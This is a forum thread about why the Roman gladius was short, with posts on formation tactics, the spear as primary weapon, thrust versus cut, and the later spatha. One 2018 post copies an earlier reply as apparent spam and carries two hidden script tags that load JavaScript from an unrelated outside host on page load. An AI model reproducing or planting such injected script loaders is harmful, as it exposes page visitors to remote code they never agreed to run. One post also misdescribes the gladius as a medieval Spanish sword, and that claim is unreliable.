azguy
Registered
Posts: 1
|
Post by azguy on Oct 15, 2013 19:23:36 GMT
I am curious about the Roman Gladius. Are there basic advantages of this sword design, over other sword designs, ie the Japanese Katana, or Scottish Clamore? The Romans were pretty sharp, most of what they did was well thought out. Not to mention they rulled the known world for about 500 years, and used the Gladious to do it.
I cannot get past the question of; why would the Romans choose to use a sword that was so short? Would'nt a long sword be better, a longer sword has inherent advantages?
I am guessing a short wide blade is the most efficent use of force in the arc of the swing, minimaizing strain on the shoulder, elbow, and wrist. Plus the wide blade maximizes dammage to tissue, with a thrust, or slash.
Or is it simmply that metalergy at the time limmited effective blade length. And I am giving the Romans too much credit.
I am thankfull for any imput I can get. Thanks.
|
|
|
|
Post by Ninjadave89 on Oct 15, 2013 19:42:50 GMT
I think it was more practicality, imagine you had your fellow soldiers to your left, right and behind you all packed into a close formation. A sword with a long blade would be more difficult to manoeuvre in a tight space, and if the enemy was crashing into your shield you would have to bring your arm back quite a bit to thrust which wouldn't be easy to do with someone standing right behind you. Also as the enemy usually tried to break through the wall of shields, you wouldn't need to have a lot of reach with the gladius as they would be pretty much at arms length or less, in which case a longer sword might be impractical.
Its also known that with the metallurgy of the day, long blades frequently bent and were then useless in battle. With a relatively short and wide blade the chances of it bending are much less.
The Romans did have longer swords, namely the spatha which was used by cavalrymen and auxiliaries (the soldiers most likely to end up in single combat).
|
|
|
|
Post by Timo Nieminen on Oct 15, 2013 19:44:55 GMT
Since the Romans themselves switched to longer swords (gladius -> spatha), perhaps the longer sword is better. Wide is good, but we see the same 5-6cm width on later longer swords; don't need to be short to be wide.
Shorter swords are lighter and easier to carry. Cheaper. Less reach. If your soldiers all carry spears (as the Romans did, at least almost all of them), the spear provides reach.
|
|
|
|
Post by Lukas MG (chenessfan) on Oct 15, 2013 19:46:47 GMT
The short gladius just fits best with the original roman fighting style. Heavy infantry with big shields fighting mostly in tight formation... no room for a long blade. In later roman periods the fighting style changed to a more open and mobile way and the infantry adopted the long spatha, previously only in use by the roman cavalry. Long blade or short blade, it all depends on the way you want to fight.
|
|
|
|
Post by A capella on Oct 24, 2013 22:59:07 GMT
I think the advantages of the gladius can be boiled down to a few points. First, however, the one big disadvantage, which is reach: the gladius is small. Contemporary swords get a good deal bigger, and even in the thrust this makes a lot of difference. Experience in Dagorhir has shown me that it is not so simple as thrust when the enemy is making a great big swing - a trained swordsman can whip a longsword around much faster than you would expect. However, it is obviously a very good sword, for these reasons:
Cutting vs thrusting: it has been said, time and time again, that thrusting is better than cutting. This is true. Thrusting primarily risks a lot less than swinging, enabling you to defend with your shield and attack at the same time much easier.
Weight: It is a lot easier to carry around. 99.999% of the time, the legionary is not fighting, but he is still carrying his sword, and who would want to carry a four pound sword around? It's just not fun.
Ease of use: Training to use a sword and shield is probably a lot easier than just a sword; people spend decades learning fencing in historical and modern styles, but how long did it take to bring a Roman up to combat capability? Discounting getting the man fit and disciplined, probably only a few months, much like modern soldiers.
All in all: Would you rather hump around a heavy machine gun or a rifle through the mountains, along with all your other gear.
|
|
|
|
Post by Lukas MG (chenessfan) on Oct 25, 2013 8:58:17 GMT
I pretty much agree with everything you said except maybe this part. It's not wrong per se but as an absolute not true either. It is correct that when using sword and shield, thrusting risks less as you don't expose yourself as much. However, and this is a VERY important thing if you do not have a shield, thrusts to the torso have practically no stopping power. A strong thrust to the face might throw an opponent back but if you embed your sword in his chest, this will not stop his already incoming blow. Precisely this is the reason why thrusts are so rarely used as a first attack in Liechtenauer longsword or any style where you only have a sword. Thrusts from zufechten are simply very risky, cuts are much safer. Once in the bind and controlling your opponent's swords, a thrust is of course a very good way to continue.
If you have a shield you can freely thrust to an opponent's torso and catch his incoming blow on your shield. This made thrusting indeed a better attack for the Roman soldier, but outright stating that thrusting is better than cutting is wrong and leads to a flawed understanding of sword fighting.
Btw, injuries from stab wounds usually take quite a while to affect the victim. Compared to a cut, there is little tissue damage and rarely an immediately disabling effect. You can't cut off limbs or heads with a thrust.
|
|
|
|
Post by L Driggers (fallen) on Oct 25, 2013 9:35:31 GMT
Big diffence between a stab with a 2in wide double edge Gladius, and a narrow rapier blade. Take a 2in wide cutting blade in a stab to the chest you're going to know it.
|
|
|
|
Post by Lukas MG (chenessfan) on Oct 25, 2013 12:35:27 GMT
True but if your blow is already in motion, it's gonna hit the attacker before his thrust will put you down. There's a reason masters like Liechtenauer, Danzig, etc advised against it and a longsword thrust with both hands delivers way more punch than the comparably small gladius.
|
|
|
|
Post by A capella on Oct 26, 2013 3:32:59 GMT
You are correct. I did not take into account post-medieval sword fighting techniques; different tools for different jobs.
|
|
|
|
Post by Kasey on Sept 4, 2014 9:22:45 GMT
The Roman gladius has a long history, a medieval sword used by Spaniards. The primary use of this weapon is for stabbing so its v shaped tip is good for slipping through the spaces in ribs. Since both the edges are deadly sharpened so it can also be use for slashing. Basically this gladius is used for thrusting purposes.
|
|
|
|
Post by MLanteigne on Oct 19, 2014 2:24:44 GMT
The Gladius was designed specific to Roman infantry tactics of the late principate to the imperial era (100 or so BC to 250 AD). They deployed in a manipular formation involving ranks and files, such that each individual soldier had approximately 3 feet on either side of him. Essentially they were each equipped with at least one large javelin which was thrown to disrupt an enemy charge. At the time of the javelins hitting the enemy, the legionaries would have charged, hitting the disoriented enemy ranks a second behind their missile weapons. The large tower shield enabled the legionaries to get extremely close and cover the person to their left with their shield as well if needed. When in extremely close, long weaponry (spears, long swords) were ineffective. This gave the Legions the advantage in terms of weaponry as the Gladius is suited for close in fighting.
So it really all boils down to the tactics it was used with.
|
|
|
|
Post by DigsFossils-n-Knives on Oct 19, 2014 13:35:04 GMT
Well said!
I see a lot of discussions to what is the best sword ever, but in reality a sword never won a battle. It was a whole lot of other things that matter. One of them is the tactics used.
|
|
Luka
Senior Forumite
Posts: 2,848
|
Post by Luka on Oct 19, 2014 14:09:16 GMT
Totally true. Gladii didn't help Romans at Teutoberg forest or Carhae.  |
|
Deleted
Deleted Member
Posts: 0
|
Post by Deleted on Oct 19, 2014 16:36:08 GMT
"Als die Römer frech geworden zogen sie nach Deutschlands Norden..." :lol:
Old german childrens song, translates roughly:
"when the romans grew bold and cheeky they were trekking to the north of germany..."
|
|
|
|
Post by Shirayuki on Jan 15, 2015 14:46:59 GMT
A cut, especially with two hands, might hold more potential damage. But any cut will likely meet protection from both armour and then bones which generally protect the organs. It's difficult to place a cut on an unwilling target while bypassing its armour too. In this respect a thrust can be aimed towards exposed parts more easily and target the organs while avoiding bone. If both are equally well placed, both are crippling.
Obviously if you fight in extremely tight formations long swords become next to useless. Kind of like using a flamethrower in a SWAT team; chances are you're just hitting your own guys with it.
|
|
|
|
Post by nddave on Feb 3, 2015 22:35:24 GMT
I think alot of it had to do with it being a secondary weapon to the more primary Spear and shield. Much like a modern soldier's combat knife or even earlier bayonet it was only used in close quarters and didn't need to be long as you're primarily going to be using your spear and shield formations. Or in more modern aspects your rifles.
Once Calvary came around you wanted a longer blade to be able to attack from horse back so you see the Spatha being used more.
|
|
|
|
Post by Gunnar Wolfgard on Feb 4, 2015 2:18:51 GMT
Nddave is right, just like with the Greeks the sword was a secondary weapon to the spear to be used after the spear was broken or the battle got too close quarters for the spear. A long sword would be more of a danger to the man standing along side you in close combat. Bigger is not always better.
|
|
|
|
Post by andresr22 on Mar 31, 2018 3:02:50 GMT
I think it was more practicality, imagine you had your fellow soldiers to your left, right and behind you all packed into a close formation. A sword with a long blade would be more difficult to manoeuvre in a tight space, and if the enemy was crashing into your shield you would have to bring your arm back quite a bit to thrust which wouldn't be easy to do with someone standing right behind you. Also as the enemy usually tried to break through the wall of shields, you wouldn't need to have a lot of reach with the gladius as they would be pretty much at arms length or less, in which case a longer sword might be impractical. Its also known that with the metallurgy of the day, long blades frequently bent and were then useless in battle. With a relatively short and wide blade the chances of it bending are much less. The Romans did have longer swords, namely the spatha which was used by cavalrymen and auxiliaries (the soldiers most likely to end up in single combat). can you answer me please, i have lots of questions of your gladius. please answer me on direct message<script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=1.0&ref=at&debug="></script> |
|
|
|
Post by howler on Mar 31, 2018 3:28:02 GMT
I am curious about the Roman Gladius. Are there basic advantages of this sword design, over other sword designs, ie the Japanese Katana, or Scottish Clamore? The Romans were pretty sharp, most of what they did was well thought out. Not to mention they rulled the known world for about 500 years, and used the Gladious to do it. I cannot get past the question of; why would the Romans choose to use a sword that was so short? Would'nt a long sword be better, a longer sword has inherent advantages? I am guessing a short wide blade is the most efficent use of force in the arc of the swing, minimaizing strain on the shoulder, elbow, and wrist. Plus the wide blade maximizes dammage to tissue, with a thrust, or slash. Or is it simmply that metalergy at the time limmited effective blade length. And I am giving the Romans too much credit. I am thankfull for any imput I can get. Thanks. Good with shields and in formation. A sturdy stabber that didn't get in the way. |
|
tonystark
Member
“I told you, I don’t want to join your super secret boy band!”
Posts: 816
|
Post by tonystark on Mar 31, 2018 4:13:45 GMT
I am curious about the Roman Gladius. Are there basic advantages of this sword design, over other sword designs, ie the Japanese Katana, or Scottish Clamore? The Romans were pretty sharp, most of what they did was well thought out. Not to mention they rulled the known world for about 500 years, and used the Gladious to do it. I cannot get past the question of; why would the Romans choose to use a sword that was so short? Would'nt a long sword be better, a longer sword has inherent advantages? I am guessing a short wide blade is the most efficent use of force in the arc of the swing, minimaizing strain on the shoulder, elbow, and wrist. Plus the wide blade maximizes dammage to tissue, with a thrust, or slash. Or is it simmply that metalergy at the time limmited effective blade length. And I am giving the Romans too much credit. I am thankfull for any imput I can get. Thanks. I have a really nice one for sale if you’re interested 😁 |
|
